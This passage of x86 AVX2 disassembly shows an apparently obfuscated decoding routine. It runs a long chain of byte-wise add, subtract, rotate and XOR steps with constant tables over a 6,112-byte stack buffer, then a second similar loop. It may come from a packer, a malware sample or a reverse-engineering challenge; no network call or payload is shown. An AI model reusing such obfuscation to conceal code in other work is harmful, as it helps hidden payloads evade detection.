vpbroadcastb ymm6, byte [0x417af5]
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417af6]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [esp + 0x14]
vpxor xmm6, xmm6, xmm6
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [str.eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee]
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x4613e0]
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417af7]
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x461400]
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymmword [0x417aa0]
vpaddb ymm4, ymm0, ymm4
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpcmpeqd ymm3, ymm3, ymm3
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x417360]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpbroadcastb ymm2, byte [0x417ae3]
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm2, ymm6
vpand ymm4, ymm4, ymm2
vpcmpeqd ymm2, ymm2, ymm2
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm0, ymm4
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm3
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpbroadcastb ymm7, byte [0x417ae4]
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [str.uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpxor ymm6, ymm0, ymm3
vpbroadcastb ymm3, byte [0x417ae5]
vpaddb ymm4, ymm4, ymm6
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm3, ymm4
vpxor xmm3, xmm3, xmm3
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x461440]
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm2
vpbroadcastb ymm2, byte [0x417aeb]
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417af8]
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417af9]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpaddb ymm6, ymm4, ymmword [0x417420]
vpsllw ymm4, ymm4, 7
vpand ymm4, ymm4, ymm5
vpsrlw ymm6, ymm6, 1
vpandn ymm6, ymm5, ymm6
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm3, ymm4
vpbroadcastb ymm3, byte [0x417ae3]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpaddb ymm4, ymm4, ymmword [0x461460]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417afa]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417afb]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpbroadcastb ymm7, byte [0x417afc]
vpor ymm4, ymm4, ymm6
vpaddb ymm6, ymm4, ymmword [0x461480]
vpsllw ymm4, ymm4, 7
vpand ymm4, ymm4, ymm5
vpsrlw ymm6, ymm6, 1
vpandn ymm6, ymm5, ymm6
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417afd]
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymmword [0x417aa0]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm7, ymm4
vpbroadcastb ymm7, byte [0x417afe]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x417780]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x4614a0]
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417aff]
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417b00]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417b01]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm7, ymm4
vpbroadcastb ymm7, byte [0x417ae7]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpbroadcastb ymm2, byte [0x417ae4]
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpaddb ymm4, ymm4, ymmword [0x4614c0]
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm2, ymm6
vpand ymm4, ymm4, ymm2
vmovdqa ymm2, ymm3
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpaddb ymm4, ymm4, ymmword [0x4614e0]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vmovdqa ymm3, ymm1
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417b02]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x4613a0]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vmovdqa ymm1, ymm2
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417b03]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpbroadcastb ymm7, byte [0x417aeb]
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [str.GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm2, ymm6
vpand ymm4, ymm4, ymm2
vpbroadcastb ymm2, byte [0x417ae4]
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x461520]
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm2, ymm6
vpand ymm4, ymm4, ymm2
vpxor xmm2, xmm2, xmm2
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vmovdqa ymm1, ymm0
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [str.VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm7
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x461560]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417b04]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm2, ymm4
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417b05]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm7
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymm0
vpbroadcastb ymm0, byte [0x417ae7]
vpsubb ymm4, ymm2, ymm4
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymmword [0x417aa0]
vmovdqu ymm2, ymmword [esp + 0x14]
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm2, ymm4
vpaddb ymm4, ymm4, ymmword [0x417280]
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm0, ymm6
vpand ymm4, ymm4, ymm0
vmovdqa ymm0, ymm1
vpbroadcastb ymm1, byte [0x417ae3]
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm7
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x4175c0]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417b06]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm7
vmovdqa ymm7, ymm1
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpaddb ymm4, ymm4, ymmword [0x417440]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpbroadcastb ymm1, byte [0x417ae7]
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x4612a0]
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpaddb ymm6, ymm4, ymmword [str.tttttttttttttttttttttttttttttttt]
vpsllw ymm4, ymm4, 7
vpand ymm4, ymm4, ymm5
vpsrlw ymm6, ymm6, 1
vpandn ymm6, ymm5, ymm6
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpaddb ymm4, ymm4, ymmword [str.55555555555555555555555555555555_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a________________]
vpaddb ymm0, ymm0, ymmword [0x417560]
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpbroadcastb ymm1, byte [0x417b07]
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm1, ymm4
vpbroadcastb ymm1, byte [0x417ae4]
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpbroadcastb ymm1, byte [0x417af2]
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm1, ymm4
vmovdqa ymm1, ymm7
vpbroadcastb ymm1, byte [0x417b08]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm2, ymm4
vpaddb ymm4, ymm4, ymmword [str._a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a________________________________]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm1, ymm4
vmovdqu ymmword [esp + eax + 0xb3], ymm4
add eax, 0x20
cmp eax, 0x17e0
jne 0x403e50
vmovdqa xmm0, xmmword [0x4177a0]
vpbroadcastb xmm5, byte [0x417ae1]
mov edi, dword [esp + 4]
xor eax, eax
nop dword [eax]
vpbroadcastb xmm4, byte [0x417ae2]
vpbroadcastb xmm1, byte [0x417ae1]
vpbroadcastb xmm2, byte [0x417ae3]
vpbroadcastb xmm3, byte [0x417ae4]
vpbroadcastb xmm6, byte [0x417ae5]
vpaddb xmm4, xmm4, xmmword [esp + eax + 0x1893]
vpsrlw xmm7, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm7, xmm1, xmm7
vpand xmm4, xmm4, xmm1
vpcmpeqd xmm1, xmm1, xmm1
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm0, xmm4
vpaddb xmm4, xmm4, xmmword [0x4615b0]
vpsrlw xmm7, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm7, xmm2, xmm7
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm0, xmm4
vpaddb xmm4, xmm4, xmmword [0x4615c0]
vpxor xmm4, xmm4, xmm1
vpxor xmm1, xmm1, xmm1
vpsrlw xmm7, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm7, xmm3, xmm7
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmmword [0x4615d0]
vpsrlw xmm7, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm7, xmm3, xmm7
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417ae6]
vpsrlw xmm7, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm7, xmm2, xmm7
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmm0
vpsubb xmm4, xmm1, xmm4
vpbroadcastb xmm1, byte [0x417ae7]
vpsrlw xmm7, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm7, xmm3, xmm7
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmmword [0x4615e0]
vpsrlw xmm7, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm7, xmm3, xmm7
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmm0
vpsrlw xmm7, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm7, xmm2, xmm7
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmm0
vpsubb xmm4, xmm6, xmm4
vpbroadcastb xmm6, byte [0x417ae8]
vpsrlw xmm7, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm7, xmm3, xmm7
vpand xmm4, xmm4, xmm3
vpbroadcastb xmm3, byte [0x417ae9]
vpor xmm4, xmm4, xmm7
vpsubb xmm4, xmm6, xmm4
vpbroadcastb xmm6, byte [0x417aea]
vpsrlw xmm7, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm7, xmm3, xmm7
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm7
vpaddb xmm7, xmm0, xmm6
vpaddb xmm4, xmm7, xmm4
vpsrlw xmm7, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm7, xmm2, xmm7
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm7
vpsubb xmm4, xmm4, xmm0
vpaddb xmm4, xmm4, xmmword [0x417900]
vpsrlw xmm7, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm7, xmm1, xmm7
vpand xmm4, xmm4, xmm1
vpbroadcastb xmm1, byte [0x417ae4]
vpor xmm4, xmm4, xmm7
vpxor xmm4, xmm4, xmmword [0x417a90]
vpaddb xmm4, xmm0, xmm4
vpaddb xmm4, xmm4, xmmword [0x417a50]
vpsrlw xmm7, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm7, xmm1, xmm7
vpand xmm4, xmm4, xmm1
vpaddb xmm1, xmm0, xmm0
vpor xmm4, xmm4, xmm7
vmovdqu xmmword [esp + 0x14], xmm1
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm7, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm7, xmm2, xmm7
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmm0
vpsubb xmm4, xmm6, xmm4
vpbroadcastb xmm6, byte [0x417aeb]
vpsrlw xmm7, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm7, xmm7, xmm6
vpor xmm4, xmm4, xmm7
vpsubb xmm4, xmm1, xmm4
vpaddb xmm4, xmm4, xmmword [0x461600]
vpcmpeqd xmm1, xmm1, xmm1
vpsrlw xmm7, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm7, xmm3, xmm7
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm7
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm7, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm7, xmm7, xmm6
vpbroadcastb xmm6, byte [0x417aec]
vpor xmm4, xmm4, xmm7
vpsubb xmm4, xmm6, xmm4
vpbroadcastb xmm6, byte [0x417aed]
vpsrlw xmm7, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm7, xmm5, xmm7
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm7
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm7, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm7, xmm5, xmm7
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmmword [0x461610]
vpsrlw xmm7, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm7, xmm3, xmm7
vpand xmm4, xmm4, xmm3
vpxor xmm3, xmm3, xmm3
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417ae7]
vpsrlw xmm7, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm7, xmm2, xmm7
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm7
vpsubb xmm4, xmm3, xmm4
vpsrlw xmm7, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm7, xmm6, xmm7
vpand xmm4, xmm4, xmm6
vmovdqa xmm3, xmm6
vpor xmm4, xmm4, xmm7
vpsubb xmm4, xmm6, xmm4
vpbroadcastb xmm6, byte [0x417aee]
vpsrlw xmm7, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm7, xmm5, xmm7
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417ae4]
vpsrlw xmm7, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm7, xmm6, xmm7
vpand xmm4, xmm4, xmm6
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmmword [0x461630]
vpsrlw xmm7, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm7, xmm2, xmm7
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmm0
vpsrlw xmm7, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm7, xmm3, xmm7
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm7
vpsubb xmm4, xmm4, xmm0
vpaddb xmm4, xmm4, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n________________]
vpsrlw xmm7, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm7, xmm2, xmm7
vpand xmm4, xmm4, xmm2
vpbroadcastb xmm2, byte [0x417aeb]
vpor xmm7, xmm4, xmm7
vpaddb xmm4, xmm0, xmmword [esp + 0x14]
vpsubb xmm7, xmm4, xmm7
vpaddb xmm7, xmm7, xmmword [0x461650]
vpsrlw xmm6, xmm7, 7
vpaddb xmm7, xmm7, xmm7
vpand xmm6, xmm6, xmm2
vpor xmm6, xmm7, xmm6
vpbroadcastb xmm7, byte [0x417aef]
vpsubb xmm6, xmm7, xmm6
vpsrlw xmm7, xmm6, 1
vpsllw xmm6, xmm6, 7
vpandn xmm7, xmm5, xmm7
vpand xmm6, xmm6, xmm5
vpor xmm6, xmm6, xmm7
vpxor xmm6, xmm6, xmm1
vpsrlw xmm7, xmm6, 7
vpaddb xmm6, xmm6, xmm6
vpand xmm7, xmm7, xmm2
vpbroadcastb xmm2, byte [0x417ae4]
vpor xmm6, xmm6, xmm7
vpbroadcastb xmm7, byte [0x417af0]
vpaddb xmm4, xmm4, xmm6
vpsubb xmm4, xmm7, xmm4
vpsrlw xmm6, xmm4, 4
vpsllw xmm4, xmm4, 4
vpandn xmm6, xmm7, xmm6
vpand xmm4, xmm4, xmm7
vpbroadcastb xmm7, byte [0x417aeb]
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417af1]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vpbroadcastb xmm2, byte [0x417ae3]
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417af2]
vpaddb xmm4, xmm4, xmm6
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vmovdqa xmm2, xmm3
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm0, xmm4
vpaddb xmm4, xmm4, xmmword [0x461660]
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpxor xmm4, xmm4, xmm1
vpbroadcastb xmm1, byte [0x417ae9]
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm3, xmm4
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417af3]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpcmpeqd xmm3, xmm3, xmm3
vpor xmm4, xmm4, xmm6
vpxor xmm4, xmm4, xmm3
vpaddb xmm4, xmm0, xmm4
vpaddb xmm4, xmm4, xmmword [0x461670]
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm7
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm6
vpxor xmm4, xmm4, xmm3
vpaddb xmm4, xmm0, xmm4
